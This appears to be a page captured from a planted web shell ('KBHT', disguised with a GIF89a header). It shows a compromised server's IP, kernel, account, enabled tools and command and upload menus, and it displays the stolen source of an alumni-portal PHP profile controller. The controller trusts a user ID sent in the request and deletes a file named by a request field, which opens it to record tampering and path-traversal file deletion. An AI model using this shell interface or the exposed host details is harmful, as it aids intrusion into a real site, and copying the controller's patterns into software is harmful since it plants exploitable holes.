GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.147.27.129
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../web/../alumni/application/controllers/user/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../web/../alumni/application/controllers/user/Profile.php
<?php

/**
 * Description of User
 *
 * @author Softpro India Pvt. Ltd.
 */
class Profile extends CI_Controller {

    //put your code here
    public function __construct() {
        parent::__construct();
        $this->load->model("CourseManager");
        $this->load->model("user/UserManagement");
        $this->load->model("user/ProfileManagement");
        $this->load->model("admin/LocationManagement");
        $this->load->model("admin/NotificationManagement");
    }

    public function index() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $userData = $this->session->userdata("userData");
            $viewData["notificationList"] = $this->NotificationManagement->getNotificationsForUserDashboard($userData["userid"], $userData["user_role"])->result();
            $viewData["Courses"] = $this->CourseManager->getAll()->result();
            $viewData["userData"] = $this->UserManagement->getUser($userData["userid"])->result();
            $viewData["states"] = $this->LocationManagement->getStates()->result();
            $viewData["countries"] = $this->LocationManagement->getCountries()->result();
            $viewData["profile"] = $this->UserManagement->getUserProfileDetails($userData["userid"])->result();
            $this->session->set_userdata("profileImg", $viewData["profile"][0]->p_photo);
//            echo $viewData["profile"][0]->p_photo;

            if ($this->session->flashdata('primaryInfoTab') == NULL && $this->session->flashdata('mailingInfoTab') == NULL && $this->session->flashdata('profileImageTab') == NULL && $this->session->flashdata('additionalInfoTab') == NULL) {
                $this->session->set_flashdata('primaryInfoTab', 'active');
                $this->session->set_flashdata('mailingInfoTab', '');
                $this->session->set_flashdata('additionalImageTab', '');
                $this->session->set_flashdata('profileImageTab', '');
            }
            $this->load->view("user/profile", $viewData);
        } else {
            redirect("Home#loginModal");
        }
    }

    public function updatePrimaryInfo() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $this->form_validation->set_rules("fullName", "full name", "required", array("required" => "Enter Your Full Name."));
            $this->form_validation->set_rules("email", "email", "required|valid_email", array("required" => "Enter Your Email.", "valid_email" => "Enter A Valid Email."));
            $this->form_validation->set_rules("passingYear", "passing year", "required", array("required" => "Select Passing Year."));
            $this->form_validation->set_rules("DOB", "DOB", "required", array("required" => "Select Your D.O.B."));
            $this->form_validation->set_rules("course", "course", "required", array("required" => "Select Your Course."));
            $this->form_validation->set_rules("gender", "gender", "required", array("required" => "Choose your Gender."));
            $this->form_validation->set_rules("mobile", "mobile", "required|max_length[10]|max_length[10]|numeric", array("required" => "Enter Your Mobile Number.", "max_length" => "Mobile Number Must Be Of 10 Digits.", "min_length" => "Mobile Number Must Be Of 10 Digits.", "numeric" => "Mobile Number Must Be Digits."));
            $this->form_validation->set_rules("collegeBranch", "collegeBranch", "required", array("required" => "Select College Branch."));

            if ($this->form_validation->run() == false) {
                $this->index();
            } else {
                //sign up code
                $passing_year = $this->input->post("passingYear");
                //echo $passing_year;
                $curyear = date("Y");    //Getting current year of the server machine
                $curmonth = date("m");   //Getting current month of the server machine
                $user_type;
                $due = $this->CourseManager->getCourseByID($this->input->post("course"))->result();     //gives you the course_duration corresponding to the given courseID
                $pass = $this->input->post("password");
                //print_r($due);
                //echo $due[0]->c_duration;
                //  exit;

                if ($passing_year > $curyear)                   //If passing year is greater than current year the user will be Student
                    $user_type = "Student";
                else if ($passing_year == $curyear) {           //In case the passing year selected and the current year matches
                    if ($curmonth <= 7)                         //Then checking for month. For date earlier than June the user will be Student and otherwise Alumni
                        $user_type = "Student";
                    else
                        $user_type = "Alumni";
                } else                                          //For year less than current year the user will be Alumni
                    $user_type = "Alumni";

                $admit = $passing_year - $due[0]->c_duration;                    //Calculating the year of admission
                $session = $admit . "-" . $passing_year;          //Formulating the session of the person                    //Encrypting the password
                //echo $this->input->post('DOB');
                //echo date('Y-m-d', strtotime(str_replace('-', '/', $this->input->post('DOB'))));
                $primaryArray = array(
                    "name" => addslashes(trim($this->input->post("fullName"))),
                    "email" => addslashes(trim($this->input->post("email"))),
                    "passing_year" => $this->input->post("passingYear"),
                    "dob" => date('Y-m-d', strtotime(str_replace('/', '-', $this->input->post('DOB')))),
                    "c_id" => $this->input->post("course"),
                    "gender" => $this->input->post("gender"),
                    "mobile" => addslashes(trim($this->input->post("mobile"))),
                    "college_loc" => $this->input->post("collegeBranch"),
                    "user_type" => $user_type,
                    "session" => $session
                );
                //print_r($primaryArray);
                //exit;
                if ($this->UserManagement->updatePrimaryInfoData($primaryArray, $this->input->post("userid"))) {
                    //update successful
                    $this->session->set_flashdata('primaryInfoTab', 'active');
                    $this->session->set_flashdata('mailingInfoTab', '');
                    $this->session->set_flashdata('additionalImageTab', '');
                    $this->session->set_flashdata('profileImageTab', '');
                    $this->session->set_flashdata("successMessage", "Primary Infomation Updated Successfully.");
                    redirect("user/Profile");
                } else {
                    //signup failed
                    $this->session->set_flashdata("errorMessage", "Failed To Update Primary Information.");
                    $this->index();
                }
            }
        } else {
            redirect("Home#loginModal");
        }
    }

    public function updateMailingInformation() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $this->form_validation->set_rules("p_address1", "address line 1", "required", array("required" => "Enter Permanent Address Line 1."));
            $this->form_validation->set_rules("p_address2", "address line 2", "required", array("required" => "Enter Permanent Address Line 2."));
            $this->form_validation->set_rules("p_state", "permanent address state", "required", array("required" => "Enter Permanent Address State."));
            $this->form_validation->set_rules("p_city", "permanent address city", "required", array("required" => "Enter Permanent Address City."));
            $this->form_validation->set_rules("p_country", "permanent address country", "required", array("required" => "Enter Permanent Address Country."));
            $this->form_validation->set_rules("p_pincode", "permanent address pincode", "required", array("required" => "Enter Permanent Address Pincode."));

            if ($this->form_validation->run() == false) {
                $this->index();
            } else {
                $userid = $this->input->post("userid");
                $p_id = $this->input->post("p_id");
                $mailingInfoArray = array(
                    "p_address1" => addslashes(trim($this->input->post("p_address1"))),
                    "p_address2" => addslashes(trim($this->input->post("p_address2"))),
                    "p_state" => $this->input->post("p_state"),
                    "p_city" => $this->input->post("p_city"),
                    "p_country" => $this->input->post("p_country"),
                    "p_pin" => addslashes(trim($this->input->post("p_pincode"))),
                    "m_address1" => addslashes(trim($this->input->post("m_address1"))),
                    "m_address2" => addslashes(trim($this->input->post("m_address2"))),
                    "m_state" => $this->input->post("m_state"),
                    "m_city" => $this->input->post("m_city"),
                    "m_country" => $this->input->post("m_country"),
                    "m_pin" => addslashes(trim($this->input->post("m_pincode"))),
                    "user_id" => $userid
                );
                if ($this->ProfileManagement->updateMailingInfoData($mailingInfoArray, $p_id)) {
                    //update successful
                    $this->session->set_flashdata('primaryInfoTab', '');
                    $this->session->set_flashdata('mailingInfoTab', 'active');
                    $this->session->set_flashdata('additionalImageTab', '');
                    $this->session->set_flashdata('profileImageTab', '');
                    $this->session->set_flashdata("successMessage", "Mailing Infomation Updated Successfully.");
                    redirect("user/Profile");
                } else {
                    //signup failed
                    $this->session->set_flashdata("errorMessage", "Failed To Update Mailing Information.");
                    $this->index();
                }
            }
        } else {
            redirect("Home#loginModal");
        }
    }

    public function updateProfilePhoto() {
        if ($this->sessionvalidator->validateSession("userData")) {
            if (empty($_FILES['p_photo']['name'])) {
                $this->form_validation->set_rules('p_photo', 'File', 'required');
                $this->form_validation->run();
                $this->index();
            } else {
                $fileConfig["upload_path"] = "./assets/user/uploads/";
                $fileConfig["allowed_types"] = "jpg|png|jpeg|webp";
                $fileConfig["max_size"] = "1024";
                $fileConfig["file_ext_tolower"] = TRUE;
                $fileConfig["encrypt_name"] = TRUE;
                $this->load->library("upload", $fileConfig);
                if (!$this->upload->do_upload("p_photo")) {
                    $this->session->set_flashdata("errorMessage", $this->upload->display_errors());
                    $this->index();
                } else {
                    $fileName = $this->upload->data()["file_name"];
                    $userData = $this->session->set_userdata("profileImg", $fileName);
                    $profileData = array("p_photo" => "assets/user/uploads/" . $fileName);
                    if ($this->ProfileManagement->updateMailingInfoData($profileData, $this->input->post("p_id"))) {
                        if (file_exists("./assets/user/uploads/" . $this->input->post("profilePhoto"))) {
                            unlink("./assets/user/uploads/" . $this->input->post("profilePhoto"));
                        }
                        $this->session->set_flashdata('primaryInfoTab', '');
                        $this->session->set_flashdata('mailingInfoTab', '');
                        $this->session->set_flashdata('additionalImageTab', '');
                        $this->session->set_flashdata('profileImageTab', 'active');
                        $this->session->set_flashdata('successMessage', 'Profile Image Updated Successfully. Updated Image Will Take Effect From Your Next Login.');
                        redirect("user/Profile");
                    } else {
                        $this->session->set_flashdata("errorMessage", "Failed To Update Profile Photo.");
                        $this->index();
                    }
                }
            }
        } else {
            redirect("Home#loginModal");
        }
    }

    public function updateAdditionalInfo() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $this->form_validation->set_rules("alternateEmail", "alternate email", "required|valid_email", array("required" => "Enter Alternate Email.", "valid_email" => "Enter A Valid Alternate Email."));
            $this->form_validation->set_rules("alternateMobile", "alternate mobile", "required|max_length[10]|min_length[10]|numeric", array("required" => "Enter Alternate Mobile.", "max_length" => "Alternate Mobile Number Must Be Of 10 Digits.", "min_length" => "Alternate Mobile Number Must Be Of 10 Digits.", "numeric" => "Alternate Mobile Number Must Be In Digits."));
            $this->form_validation->set_rules("anniversaryDate", "anniversary date", "required", array("required" => "Choose Anniversary Date."));

            if ($this->form_validation->run() == false) {
                $this->index();
            } else {
                $p_id = $this->input->post("p_id");
                $mailingInfoArray = array(
                    "a_mail" => addslashes(trim($this->input->post("alternateEmail"))),
                    "a_mobile" => addslashes(trim($this->input->post("alternateMobile"))),
                    "a_date" => date('Y-m-d', strtotime(str_replace('/', '-', $this->input->post('anniversaryDate'))))
                );
                if ($this->ProfileManagement->updateMailingInfoData($mailingInfoArray, $p_id)) {
                    //update successful
                    $this->session->set_flashdata('primaryInfoTab', '');
                    $this->session->set_flashdata('mailingInfoTab', '');
                    $this->session->set_flashdata('additionalImageTab', 'active');
                    $this->session->set_flashdata('profileImageTab', '');
                    $this->session->set_flashdata("successMessage", "Additional Infomation Updated Successfully.");
                    redirect("user/Profile");
                } else {
                    //update failed
                    $this->session->set_flashdata("errorMessage", "Failed To Update Additional Information.");
                    $this->index();
                }
            }
        } else {
            redirect("Home#loginModal");
        }
    }

}

KBHT - 2023